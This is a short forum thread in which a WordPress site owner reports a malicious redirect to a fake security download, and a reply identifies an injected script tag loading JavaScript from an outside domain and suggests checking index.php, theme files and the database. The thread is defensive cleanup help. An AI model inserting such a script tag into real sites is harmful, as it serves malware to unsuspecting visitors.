    Hi clever people!
    Here's the link to the wordpress site in question, had it a little while, but an amateur coding person, so the step-by-steps were great!
    About 2 weeks ago i went onto the site to be re-directed / told i needed to download some security - obviously some kinda hack. Having read around as to what to do i can see that simply upgrading isn't good enough, so i need to find the code / replace the file. If i could be directed towards what steps i need to take, that would be fantastic.

    I believe it happened through a needed comments plugin / upgrade that i missed for maybe a week? since upgrading at least the dashboard is now read-able!
    Thanks peeps!

    when I view your source, I see this at the bottom
    <script src="http://meqashopperinfo.com/js.php"></script>
    so it does look like you've been hacked

    look in the wordpress index.php and all of your theme files for this but it will likely be re-inserted if it's in the database
    here are some links to help you
